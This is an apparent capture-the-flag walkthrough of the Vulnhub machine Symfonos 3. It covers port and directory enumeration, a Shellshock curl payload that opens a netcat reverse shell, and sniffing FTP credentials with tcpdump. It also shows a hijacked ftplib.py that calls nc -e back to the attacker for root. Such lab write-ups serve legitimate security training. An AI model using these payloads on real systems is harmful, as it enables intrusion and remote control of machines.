> For the complete documentation index, see [llms.txt](https://choochisiang.gitbook.io/report/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://choochisiang.gitbook.io/report/vulnhub/symfonos/symfonos-3.md).

# Symfonos 3

Symfonos 3 Vulnhub Walkthrough

## Enumeration

### Nmap

```
nmap -sC -sV -oA nmap/sym3 192.168.1.114
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 02:39 EDT
Nmap scan report for 192.168.1.114
Host is up (0.00016s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5b
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
|   256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_  256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:DA:E2:26 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds

```

Let's put the IP to the browser

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8EifxgzePspwk3en38%2Fimage.png?alt=media\&token=ecc55464-07ea-4d62-936c-ed772c53a713)

And we got this at the inspect elements

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8Eij2x9RBu0ECgJ67J%2Fimage.png?alt=media\&token=57983d4a-2ea9-48c2-b818-9209e124950d)

So, I decided to use dirb and gobuster

### dirb & gobuster 

```
dirb http://192.168.1.114/
```

```

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May 26 02:42:28 2020
URL_BASE: http://192.168.1.114/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.114/ ----
+ http://192.168.1.114/cgi-bin/ (CODE:403|SIZE:278)                                                                                                                                               
==> DIRECTORY: http://192.168.1.114/gate/                                                                                                                                                         
+ http://192.168.1.114/index.html (CODE:200|SIZE:241)                                                                                                                                             
+ http://192.168.1.114/server-status (CODE:403|SIZE:278)                                                                                                                                          
                                                                                                                                                                                                  
---- Entering directory: http://192.168.1.114/gate/ ----
+ http://192.168.1.114/gate/index.html (CODE:200|SIZE:202)                                                                                                                                        
                                                                                                                                                                                                  
-----------------
END_TIME: Tue May 26 02:42:38 2020
DOWNLOADED: 9224 - FOUND: 4

```

We got a directory called gate

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8Ej7eTjTPGOgt7_wHx%2Fimage.png?alt=media\&token=11d5bdba-e0e2-4497-995a-74cf7b04ea59)

Nothing seems to be interesting, so let's continue to enumerate

I can't enumerate anything from dirb so I changed to gobuster

```
gobuster dir -u http://192.168.1.114/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.1.114/gate/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/26 02:44:57 Starting gobuster
===============================================================
/cerberus (Status: 301)
===============================================================
2020/05/26 02:45:39 Finished
===============================================================

```

We got a directory called `/cerberus`

Further enumeration I got `/tartarus` and I got this

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8Ek3sO1y2NEIzhngqD%2Fimage.png?alt=media\&token=e3a3f29d-3e06-4936-ae0e-c75ae1066be4)

At the inspect elements, it says it may be misleading

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8EkAVTuwH32yE8Mh4l%2Fimage.png?alt=media\&token=1c985ce5-bf72-4c30-b080-672266babbeb)

It seems that we might gone into a rabbit hole. So let's back to square one

I use dirbuster to enumerate the URL again

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8EtNAfQiX_xmHuai8R%2Fimage.png?alt=media\&token=103a84a0-8a11-4144-96cf-f63cd5a8d039)

Then, when we enumerate, we got the underworld directory under cgi-bbin

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8Emz5lBDV5aHdwlh_z%2Fimage.png?alt=media\&token=8ff070f6-2f32-4204-b436-822910f45881)

Lets navigate to `/cgi-bin/underworld`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8EvlxrhwchUgn3hisZ%2Fimage.png?alt=media\&token=5dadba6e-82c2-4b06-b015-91920f34f860)

Got this..hmmm

After some research, found out that at the [Pentesterlab](https://pentesterlab.com/exercises/cve-2014-6271/course), the exploit is called `shellshock`

## Exploitation

### Reverse Shell

We can get a reverse shell by using this command

```
curl -A "() { :; }; /bin/bash -c 'nc 192.168.1.117 443 -e /bin/sh'" http://192.168.1.118/cgi-bin/underworld
```

And we need to set up a listener at out machine

```
nc -nlvp 443
```

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8EgBYZB3q7VfPhMhrm%2F-M8F2JvtVmUNZaHw0fLR%2Fimage.png?alt=media\&token=5ca17d99-c130-4e70-b709-e6e6016d977c)

Got a reverse shell. Then we can type the python code to spawn a proper shell

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

After that I use `tcpdump` to grab the ftp server network and store it at /tmp directory.

```
tcpdump -w ftplog.pcap -i lo 
```

Then we can use `nc` to transfer the file to our machine to analyse it 

After that we can use wireshark to analyse it.

We can filter it by `tcp.port == 21` and then we right click and choose follow TCP stream and then we can see this 

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8F4Uy6CAnEuWkJeLlu%2F-M8F6rP88kZtRJp5vsn4%2Fimage.png?alt=media\&token=f4a0ba07-711c-4504-97a7-176245d069af)

We got the password (PTpZTfU4vxgzvRBE) and username for user `hades`

We can `su` to the user `hades`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8F4Uy6CAnEuWkJeLlu%2F-M8F75d2xIjeiJI0SXnL%2Fimage.png?alt=media\&token=8ed20fa7-f6fd-4f84-bb95-cb279b926e7c)

## Privilege Escalation

After that we run the `pspy` again

Then we got this 

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8F4Uy6CAnEuWkJeLlu%2F-M8FZFtjz9QVpVnatk7s%2Fimage.png?alt=media\&token=668c0af9-b454-4474-9390-67c5029180e1)

We know that there is a file running at `/opt/ftpclient` that can run as root.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8IsZV22b76TML8xc3w%2Fimage.png?alt=media\&token=fe4c8ddf-1738-48a2-af1f-b9c3bcdfdd8f)

But when we go to the `/opt/ftpclient` we can see that we have no permission to edit the files.

### Python Library Hijacking

After researching and asking the author of this machine cause I didn't know how it works, it is python library hijacking.

```
python -c 'import sys; print "\n".join(sys.path)'
```

Using this command will show the path that all the directories that python will look for to import the library according to the directories.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8Itv8b_WTEZ-uZcT4Q%2Fimage.png?alt=media\&token=9225c63e-fa84-4d95-b369-c802d9314ee7)

As we can see here there are bunch of folders 

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8Iu5ACyi4dH2KwBxBv%2Fimage.png?alt=media\&token=df2c1aed-6a79-4ecc-b4ef-62d14af338aa)

If we `cat` into the `ftpclient.py` that is under `/opt/ftpclient`, we can see that the file is importing a library called `ftplib`

We navigate to `/usr/lib/python2.7`

Then we can type `ls -la | grep ftplib`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8IutBaKEDUJAYIU1E4%2Fimage.png?alt=media\&token=a009f7e7-673f-459b-adda-3d29bc1024aa)

We can see that ftplib.py can be modify by the user that is under group `gods` which can be edited by hades.

We first rename the file to become a backup file

Then we can nano ftplib.py to create a new file to replace the old one.

Type in these code to get a reverse shell 

```
import os
import sys
os.system("nc -e /bin/bash 192.168.1.116 4444")
```

Then save the file.

Go to our machine to set up a listener

```
nc -nlvp 4444
```

After waiting for 1 minute, we get a reverse shell back

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8Iw-lSUYsyOfFxNSlT%2Fimage.png?alt=media\&token=247e41ef-025c-4645-a8e2-40849013efaf)

Then type the python code to get a proper shell

Then, we got root !

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8IwFfPPnAwyprwQrOu%2Fimage.png?alt=media\&token=2b65736e-9143-419d-bf8d-91b8f4615ed1)

Navigate to `/root` to get the `flag.txt`

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-M8InZkXaN_UF1ACsoRf%2F-M8IwMvefs4czp5u2vrp%2Fimage.png?alt=media\&token=16b21f98-8284-44c4-b984-0c2f642050df)

Congratulation !